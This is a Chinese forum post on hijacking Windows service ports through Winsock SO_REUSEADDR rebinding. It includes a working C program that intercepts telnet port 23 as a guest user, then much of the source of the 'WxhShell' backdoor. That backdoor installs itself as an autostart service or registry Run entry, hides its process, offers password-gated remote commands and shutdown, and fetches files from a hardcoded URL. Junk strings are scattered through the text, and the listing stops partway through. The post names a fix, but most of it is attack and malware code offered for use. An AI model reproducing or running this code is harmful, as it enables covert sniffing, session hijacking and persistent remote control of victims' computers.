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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s C>Oyh:%!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q5xF~SQGw2  
?>/9ae^Bw  
  saddr.sin_family = AF_INET; 7SJR_G6,{  
?Gqq]ozm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z3Zo64V~7  
Q].p/-[(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (Cb;=:3G  
of=N+ W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Mj6 0?k  
MAQ(PIc>T  
  这意味着什么?意味着可以进行如下的攻击: lc[)O3,,B  
(L<q Jd1Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G _-JR  
hN^,'O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IqAML|C  
[9^lAhX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ("KtJ  
lG5KZ[/Or  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '\M]$`Et  
5=_bK^Am  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hQ ?zc_ 3  
fSF_O}kLp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cDIZkni=  
%#x l+^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U8zCV*ag  
)uu(I5St  
  #include +L|x^ B3  
  #include b/"gUYo  
  #include cq0-D d9^&  
  #include    4<V}A j8l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z`<5SHQd  
  int main() ,@kLH"a0  
  { > JC"YB  
  WORD wVersionRequested; l;d4Le  
  DWORD ret; C#LTF-$])  
  WSADATA wsaData; =m;,?("7t3  
  BOOL val; $0Ys{m  
  SOCKADDR_IN saddr; [Ob09#B%:5  
  SOCKADDR_IN scaddr; ^r~O*  
  int err; "H#pN;)+   
  SOCKET s; ;pj,U!{%s\  
  SOCKET sc; -}u1ZEND  
  int caddsize; 0`V;;w8  
  HANDLE mt; xz Hb+1+p  
  DWORD tid;   )FN\jo!!.  
  wVersionRequested = MAKEWORD( 2, 2 ); z HT#bP:o  
  err = WSAStartup( wVersionRequested, &wsaData ); &=]!8z=  
  if ( err != 0 ) { :nOI|\ rC  
  printf("error!WSAStartup failed!\n"); "5204I  
  return -1; -tIye{  
  } ]nNn"_qh  
  saddr.sin_family = AF_INET; ,T*\9' Q  
   )#8}xAjV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [y~kF?a  
L*OG2liJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bFhZSk )  
  saddr.sin_port = htons(23); "U!Vdt2vp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (8baa.ge  
  { EU7nS3K)O~  
  printf("error!socket failed!\n"); RN&6z"|jR  
  return -1; EM(%|#  
  } ,xg-H6Xfa{  
  val = TRUE; T|,/C|L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %l?*w~x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $*`E;}S0  
  { &NOCRabc  
  printf("error!setsockopt failed!\n"); VTU(C&"S  
  return -1; eA*We  
  } z\"9T?zoo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k t'[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  //0Y#"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :k-@w5(  
g/(BV7V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *eGG6$I  
  { -<L5;  
  ret=GetLastError(); wrc1N?[bn  
  printf("error!bind failed!\n"); &kcmkRRG  
  return -1; R xS{  
  } E 6+ ooB[  
  listen(s,2); P%ThW9^vnj  
  while(1) , `PYU[  
  { $4*gi&  
  caddsize = sizeof(scaddr); EeH ghq  
  //接受连接请求 @Ko#nDEq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -/ G#ls|?  
  if(sc!=INVALID_SOCKET) 39MOqVc  
  { 5g.w"0MkY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -Kw7! =_ g  
  if(mt==NULL) Kn1T2WSAg  
  { ?9%$g?3Z  
  printf("Thread Creat Failed!\n"); Tq SjL{l%  
  break; '14 86q@[$  
  } v,Zoy|Lu  
  } -g:i'e  
  CloseHandle(mt); g}S%D(~  
  } .K1wp G[4  
  closesocket(s); FY-eoq0O3  
  WSACleanup(); 9kwiG7V1  
  return 0; M)U)Sc zHO  
  }   (>,b5g  
  DWORD WINAPI ClientThread(LPVOID lpParam) (&u'S+  
  { C\Z5%2<Z  
  SOCKET ss = (SOCKET)lpParam; Rn`DUYg  
  SOCKET sc; 9R">l5u  
  unsigned char buf[4096]; 4 L 5$=V  
  SOCKADDR_IN saddr; &O#1*y Z  
  long num; RP^vx`9h  
  DWORD val; ~T/tk?:8Vi  
  DWORD ret; f$5\ b[O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .4l cES~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;VEKrVD  
  saddr.sin_family = AF_INET; EG|_YW7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Yg}b%u,Q  
  saddr.sin_port = htons(23); x0%yz+i{:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $d,/(*Y#-  
  { GXk |p8  
  printf("error!socket failed!\n"); kkW}:dBl  
  return -1; R\Ckk;<$  
  } OI8}v  
  val = 100; \%9QE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]omBq<ox'Y  
  { +~* e B  
  ret = GetLastError(); 17`-eDd  
  return -1; ?*[35XUd  
  } hd,O/-m#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lIZ&' z  
  { x6$3 KDQm  
  ret = GetLastError(); dt>9mF q  
  return -1; \ .+:yV<$  
  } ;)SWwhQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ` @lNt}  
  { :6Tv4ZUvcG  
  printf("error!socket connect failed!\n"); o\PHs4Ws'7  
  closesocket(sc); o q6^  
  closesocket(ss); 4)>S3Yr  
  return -1; xJnN95`R@  
  } ;.rY`<|  
  while(1) gzy|K%K  
  { ]vPdj"7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MttFB;Tp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %mD{rG9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G{O{ p  
  num = recv(ss,buf,4096,0); ic4hO>p&  
  if(num>0) 4@Z!?QzW  
  send(sc,buf,num,0); V6h8+|hK  
  else if(num==0) ks %arm&  
  break; :t;i2Ck  
  num = recv(sc,buf,4096,0); -3y  
  if(num>0) Oqt{ uTI~  
  send(ss,buf,num,0); d(@ ov^e-  
  else if(num==0) +JM@kdE5b  
  break; f*IvaY  
  } Ed{sC[j=  
  closesocket(ss); C rl:v8  
  closesocket(sc); ^QG<_Dm]  
  return 0 ; aR'~=t&;z1  
  } ori[[~OyB  
i2;,\FI@t%  
Vg :''!4t2  
========================================================== 'NCx<0*  
VR%*8=  
下边附上一个代码,,WXhSHELL ,rF!o_7  
'H4?V  
========================================================== B2KBJ4rI[1  
1C]BaPbL  
#include "stdafx.h"  p: eaZ  
#/8 Na v  
#include <stdio.h> `B:hXeI  
#include <string.h> rhX?\_7o  
#include <windows.h> TJ>1?W\Z  
#include <winsock2.h> vA[7i*D{w  
#include <winsvc.h> =P_ *.SgR  
#include <urlmon.h> Sfp-ns32%A  
om=kA"&&Q  
#pragma comment (lib, "Ws2_32.lib") _^ic@h3'X~  
#pragma comment (lib, "urlmon.lib") rY&#g%B6Fp  
}n#$p{e$i  
#define MAX_USER   100 // 最大客户端连接数 =Zsxl]h   
#define BUF_SOCK   200 // sock buffer l<<9H-O  
#define KEY_BUFF   255 // 输入 buffer /[ft{:#&t  
z]LVq k  
#define REBOOT     0   // 重启 hN\sC9a1  
#define SHUTDOWN   1   // 关机 dTlEEgR  
DRTT3;,N  
#define DEF_PORT   5000 // 监听端口 TZ3gJ6 Cb  
-j:yEZ4Oy  
#define REG_LEN     16   // 注册表键长度 GU9p'E  
#define SVC_LEN     80   // NT服务名长度 .7:ecFKk  
R9D2cu,{  
// 从dll定义API rusYNb1J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -w8?Ur1x:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -V[!qI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fY #Yn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fg}t{e]3a  
]scr@e  
// wxhshell配置信息 O*x~a;?G  
struct WSCFG { + Okw+v  
  int ws_port;         // 监听端口 J4z&J SY  
  char ws_passstr[REG_LEN]; // 口令 I3izLi  
  int ws_autoins;       // 安装标记, 1=yes 0=no +"JWsD(C(  
  char ws_regname[REG_LEN]; // 注册表键名 :f7vGO"t  
  char ws_svcname[REG_LEN]; // 服务名 '<*%<J{(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :_nGh]%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @`Dh 7Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IG2z3(j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wuXH'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]1|7V|N6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \q24E3zS&  
tK'9%yA\  
}; +qqCk  
Y% @;\  
// default Wxhshell configuration BQeg-M  
struct WSCFG wscfg={DEF_PORT, T!pZj_ h=  
    "xuhuanlingzhe", 'aEN(Mdz1e  
    1, jqTK7b  
    "Wxhshell", ">S1,rhgS  
    "Wxhshell", aSJD'u4w.a  
            "WxhShell Service", kho0@o+'^  
    "Wrsky Windows CmdShell Service", "gDk?w  
    "Please Input Your Password: ", qg<Y^ y  
  1, jHA(mU)b  
  "http://www.wrsky.com/wxhshell.exe", HqV4!o9'  
  "Wxhshell.exe" p6)6Gcx  
    }; |  >yc|W  
9}42s+  
// 消息定义模块 J~ +p7S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fD8GAav  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g2rH"3sC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; se}$/Y}t  
char *msg_ws_ext="\n\rExit."; 6Bexwf<u  
char *msg_ws_end="\n\rQuit."; \yLFV9P}EL  
char *msg_ws_boot="\n\rReboot..."; 7uF @Xh  
char *msg_ws_poff="\n\rShutdown..."; w !<-e>  
char *msg_ws_down="\n\rSave to "; knb0_nA  
9(_n8br1  
char *msg_ws_err="\n\rErr!"; 9#~jlq(  
char *msg_ws_ok="\n\rOK!"; Y`6<:8[?  
Gc5mR9pV   
char ExeFile[MAX_PATH]; g?Rq .py]!  
int nUser = 0; MU:v& sk  
HANDLE handles[MAX_USER]; h gwS_L  
int OsIsNt; HW'I$ .  
EQM[!g^a  
SERVICE_STATUS       serviceStatus; 98 uMD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w_LkS/  
#G?",,&dM  
// 函数声明 CWB<I  
int Install(void); |RqCI9N6  
int Uninstall(void); U^DR'X=  
int DownloadFile(char *sURL, SOCKET wsh); B)0;gWK  
int Boot(int flag); ,W/Y@ScC  
void HideProc(void); z U *Mk  
int GetOsVer(void); AXnKhYlu  
int Wxhshell(SOCKET wsl); (OavgJ+Y  
void TalkWithClient(void *cs); D$w?  
int CmdShell(SOCKET sock); -$@'@U  
int StartFromService(void); hQNUA|Q=%  
int StartWxhshell(LPSTR lpCmdLine); q6%m .X7  
t+^__~IX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @ Yo*h"s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9\kEyb$F=  
04}c_XFFE  
// 数据结构和表定义 Y;dqrA>@  
SERVICE_TABLE_ENTRY DispatchTable[] = O@:R\MwFOZ  
{ )]E?~$,  
{wscfg.ws_svcname, NTServiceMain}, rg]z  
{NULL, NULL} !.4q{YWcYk  
}; ,zJ:a>v  
-b?s\X  
// 自我安装 hQvI}  
int Install(void) V{\1qg{  
{ NpbZt;%t  
  char svExeFile[MAX_PATH]; fl4'dv  
  HKEY key; R4zOiBi'B  
  strcpy(svExeFile,ExeFile); Z]5xy_La  
`>lY$EBG@[  
// 如果是win9x系统,修改注册表设为自启动 #H5 +8W  
if(!OsIsNt) { 77]lp mC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tZ*>S]qD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lACS^(  
  RegCloseKey(key); kn`O3cW/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [g=4'4EZc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8M BY3F  
  RegCloseKey(key); wARd^Iw  
  return 0; Kv#Q$$)r  
    } `nc=@" 1  
  } n*#HokX  
} TIF  =fQ  
else { Wi~?2-!  
}b{7+ + Ah  
// 如果是NT以上系统,安装为系统服务 +]~}kvk:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hxw6^EA  
if (schSCManager!=0) %xp 69  
{ ?]+! gz1  
  SC_HANDLE schService = CreateService >J:liB|(  
  ( 8\PI1U  
  schSCManager, 6!=q+sw/X  
  wscfg.ws_svcname, Zl.,pcL  
  wscfg.ws_svcdisp, {Wr5F9q  
  SERVICE_ALL_ACCESS, ItZ*$I1<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rf!i?vAe  
  SERVICE_AUTO_START, wX <ov0?[  
  SERVICE_ERROR_NORMAL, @Q!Tvw/  
  svExeFile, 3 [O+wVv  
  NULL, f/m0,EERk  
  NULL, zP|^@Homk  
  NULL, r*FAUb`bG  
  NULL, P#rS.CIh  
  NULL PM QlJ&  
  ); H5CL0#I  
  if (schService!=0) $wl_  
  { xF 3Z>  
  CloseServiceHandle(schService); sy6[%8D$  
  CloseServiceHandle(schSCManager); wzY{ii  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~;t/VsgGW  
  strcat(svExeFile,wscfg.ws_svcname); @jZ1WHS_a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m;U_oxb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZJ/K MW  
  RegCloseKey(key); Nkn2\ w  
  return 0; #TB 3|=  
    } \J-D@b;  
  } /U0,%  
  CloseServiceHandle(schSCManager); FvD/z ;N  
} ~h3~<p#M`  
} g ?@fHFct  
wb39s^n  
return 1; @z=L\ e{  
} 5d-rF:#  
&WS'Me  
// 自我卸载 ;RMevVw|  
int Uninstall(void) "cvhx/\1#  
{ J2$,'(!(  
  HKEY key; AH:0h X6+  
x( (Rm_'  
if(!OsIsNt) { . \8"f]~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f7;<jj;w7  
  RegDeleteValue(key,wscfg.ws_regname); #W4 "^#2  
  RegCloseKey(key); iAt&927  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p ^)3p5w  
  RegDeleteValue(key,wscfg.ws_regname); q-/t?m0  
  RegCloseKey(key); 9vCCE[9  
  return 0; oA;ZDO06r  
  } uSH_=^yTQ  
} (N9g6V  
} .kB!',v\  
else { /?V-  
$M$-c{>s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qTG i9OP6/  
if (schSCManager!=0) gN]\#s@[  
{ FJn.V1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nW oh(a  
  if (schService!=0) O-3aU!L  
  { }:!X@C~  
  if(DeleteService(schService)!=0) { drbim8 !q~  
  CloseServiceHandle(schService); !&5*H06  
  CloseServiceHandle(schSCManager); | 3`8$-  
  return 0; T`GiM%R;g  
  } 1-|aeJ  
  CloseServiceHandle(schService); mri g5{  
  } /0XmU@B  
  CloseServiceHandle(schSCManager); ^zfs8]QSf  
} F(Je$c/J|~  
} N686~  
2AEVBkF;M  
return 1; yI / FD  
} Zh`[A9I/  
_n&#e r  
// 从指定url下载文件 {HFx+<JG  
int DownloadFile(char *sURL, SOCKET wsh) '1~;^rU  
{ s&XL{FE  
  HRESULT hr; o.s(=iG  
char seps[]= "/"; U.Y7]#P:  
char *token; `]a0z|2'!  
char *file; ,Kt51vGi  
char myURL[MAX_PATH]; &q#. >  
char myFILE[MAX_PATH]; ^z51f>C  
?P/73p  
strcpy(myURL,sURL); 7R5+Q\W  
  token=strtok(myURL,seps); 1\g r ;b  
  while(token!=NULL) RYdI$&]  
  { 5=8t<v1Bn  
    file=token; !lBK!'0  
  token=strtok(NULL,seps); 7}`FXB  
  } Fh/sD?  
ZH~Wn#Wp  
GetCurrentDirectory(MAX_PATH,myFILE); DcE4r>8B  
strcat(myFILE, "\\"); |7${E^u  
strcat(myFILE, file); #aiI]'  
  send(wsh,myFILE,strlen(myFILE),0); X8wtdd]64  
send(wsh,"...",3,0); ?-tNRIPW@p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D  ,[yx='  
  if(hr==S_OK) /QQjb4S}  
return 0; R iFUa $  
else T`9nY!  
return 1; 6h0}ZM  
%pqB/  
} Q 9E.AN  
&y7xL-xP  
// 系统电源模块 >*Ej2ex  
int Boot(int flag) WpRM|"CF  
{ <~S]jtL.j:  
  HANDLE hToken; >]uu?!PU  
  TOKEN_PRIVILEGES tkp; dN7.W   
'*Ld,`  
  if(OsIsNt) { mA@!t>=oMq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kI2+&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ae](=OQ  
    tkp.PrivilegeCount = 1; /Z[HU{4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c e; zn\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lQy-&d|=#^  
if(flag==REBOOT) { |kTq &^$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G&YcXyH  
  return 0; +r&:c[  
} /y6I I$AvM  
else { f .$*9Fkw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZB} A^X  
  return 0; oxdX2"WwU  
} :Gew8G  
  } #%w)w R3  
  else { >8b%*f8R  
if(flag==REBOOT) {  ) TRUx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O%haaL\  
  return 0; &gUa^5'#  
} mkrVeBp  
else { 7 p1B"%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z7+>G/o  
  return 0; 4YR{ *  
} Uv652DC  
} _dmG#_1  
96P&+  
return 1; 2+Oz$9`.  
} 9hh~u -8L  
i0zrXaKV  
// win9x进程隐藏模块 tU *`X(;  
void HideProc(void) b=U3&CV9  
{ p#_ 5w  
*2rc Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tGzp= PyA  
  if ( hKernel != NULL ) ayQeT  
  { drk BW}_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Od:-fw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^P*-bV4  
    FreeLibrary(hKernel); ~>P(nI  
  } U<E]c 4*  
d={o|Mf  
return; YBR)S_C$_  
} Z`U+ a  
Tu5p`p3-j  
// 获取操作系统版本 ael] {'h]  
int GetOsVer(void) 4O/IT1+A  
{ oZ^,*  
  OSVERSIONINFO winfo; ect$g#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `S.I,<&  
  GetVersionEx(&winfo); B2a#:E,6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /Ov1eQBNG  
  return 1; HFlExa u  
  else &`m$Zzl;  
  return 0; nh"dPE7^  
} E.+%b;Eqe  
9NNXj^7  
// 客户端句柄模块 i5&,Bpfo-  
int Wxhshell(SOCKET wsl) uG +ZR: _  
{ M&<qGV$A  
  SOCKET wsh; Px9 K  
  struct sockaddr_in client;  ; (A-  
  DWORD myID; scYqU7$%T  
6:6A" A  
  while(nUser<MAX_USER) YDj5+'y  
{ #S x  
  int nSize=sizeof(client); ]!~?j3-k Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9qgs*]J  
  if(wsh==INVALID_SOCKET) return 1; +|7N89l  
4>a(!h t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "tK|/R+  
if(handles[nUser]==0) %>6ilG Q+  
  closesocket(wsh); e-[PuJ  
else SynRi/BRmw  
  nUser++; ?u/UV,";y  
  } BW}M/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }p?67y/  
|lg jI!iK  
  return 0; }L&LtW{X  
} 3bR%#G%  
SbzJeaZv  
// 关闭 socket o4J@M{xb_  
void CloseIt(SOCKET wsh) g_N^Y  
{ Jj 5VBI!Ok  
closesocket(wsh);  S~E@A.7  
nUser--; k_ywwkG9lU  
ExitThread(0); <VutwtA  
} s{8=Q0^  
G--(Ef%v'  
// 客户端请求句柄 BV }CmU&DA  
void TalkWithClient(void *cs) YOj&1ymBZ  
{ &/ED.K  
RqP_^tB  
  SOCKET wsh=(SOCKET)cs; RyG6_ G}  
  char pwd[SVC_LEN]; B]: |;d  
  char cmd[KEY_BUFF]; ?6hd(^  
char chr[1]; F|qMo|  
int i,j; DV[FZ  
-mn/Yv  
  while (nUser < MAX_USER) { u@`a~  
G%;>_E  
if(wscfg.ws_passstr) { '3Q~y"C+4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D~URY_[A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ey,f igjd.  
  //ZeroMemory(pwd,KEY_BUFF); {"%a-*@%  
      i=0; kh:_,g  
  while(i<SVC_LEN) { Lo#G. s|  
peT91b  
  // 设置超时 _DT,iF*6  
  fd_set FdRead; dJQK|/  
  struct timeval TimeOut; JbS[(+o  
  FD_ZERO(&FdRead); O9/)_:Wdh  
  FD_SET(wsh,&FdRead); .{*l,  
  TimeOut.tv_sec=8; M \  
  TimeOut.tv_usec=0; *hJWuMfY,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #ojuSS3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,aGIq. *v  
*78c2`)[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m- ibS:  
  pwd=chr[0]; UZrEFpi  
  if(chr[0]==0xd || chr[0]==0xa) { Ry"4v_e9  
  pwd=0; #+V4<o  
  break; cL ~WDW/  
  } -,T!/E  
  i++; V,0$mBYa  
    } dcD#!v\0  
& rD8ng+$  
  // 如果是非法用户,关闭 socket D4|Ajeo;1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /4 OmnE;  
} "~._G5i.  
{i?G:K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ge.>#1f}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vmrs(k "d#  
{*TB }Xsr,  
while(1) { -m=A1~|7  
yiI oqvP  
  ZeroMemory(cmd,KEY_BUFF); 9d-'%Q>+  
B["+7\c<~  
      // 自动支持客户端 telnet标准   /|i*'6*  
  j=0; _ahp7-O  
  while(j<KEY_BUFF) { v[{7\Hha  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -3v\ c~  
  cmd[j]=chr[0]; 5N%d Les  
  if(chr[0]==0xa || chr[0]==0xd) { K: $mEB[c<  
  cmd[j]=0; Skg/iH"(  
  break; v;9(FLtL  
  } B5vLV@>]  
  j++; j~K(xf  
    } * jWh4F,  
LjE3|+pJ  
  // 下载文件 G?=&\fg_:  
  if(strstr(cmd,"http://")) { jll:Rh(b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,>7dIJqzw  
  if(DownloadFile(cmd,wsh)) AG9DJ{T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^>Z_3 {s:$  
  else 1/w8'Kf'u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]k^?=  
  } 2|& S2uq  
  else { { +w.Z,D"  
w9VwZow  
    switch(cmd[0]) { .'_}:~  
  : slO0  
  // 帮助 9?hZf$z  
  case '?': { B= ~y(Mb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $w{d4")  
    break; 'uDx$AkY  
  } Ui (nMEon  
  // 安装 Fj~suZ`  
  case 'i': { D6Aa5&rO+  
    if(Install()) =<p=?16 x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BO7HJF)a  
    else P(b[|QF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0RMW>v/7kL  
    break; hk:>*B}  
    } sL~4 ~178  
  // 卸载 uGb+ *tD  
  case 'r': { E>tHKNyVTp  
    if(Uninstall()) 4c 8{AZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l1'v`!  
    else k)*apc\W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Q<7[  
    break; + c3pe4  
    } ]bh%pn  
  // 显示 wxhshell 所在路径 cl `Wl/Q#  
  case 'p': { >.`*KQdan  
    char svExeFile[MAX_PATH]; vr4r,[B6y  
    strcpy(svExeFile,"\n\r"); h+j^VsP zB  
      strcat(svExeFile,ExeFile); z{\tn.67  
        send(wsh,svExeFile,strlen(svExeFile),0); 2XeyNX  
    break; |e2s\?nB0S  
    } m!w|~ Rk  
  // 重启 ' *a}*(0OA  
  case 'b': { W-#DEU 7_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'q$Y m0nL  
    if(Boot(REBOOT)) .#SgU<Wq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1~K'r&  
    else { B t}90#  
    closesocket(wsh); cpP}NJb0;%  
    ExitThread(0); ~ E6e~  
    } y.D+M$f  
    break; NWFh<  
    } =KOi#;1  
  // 关机 hIV]ZYbH  
  case 'd': { 6JZ>&HA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E9j<+Ik  
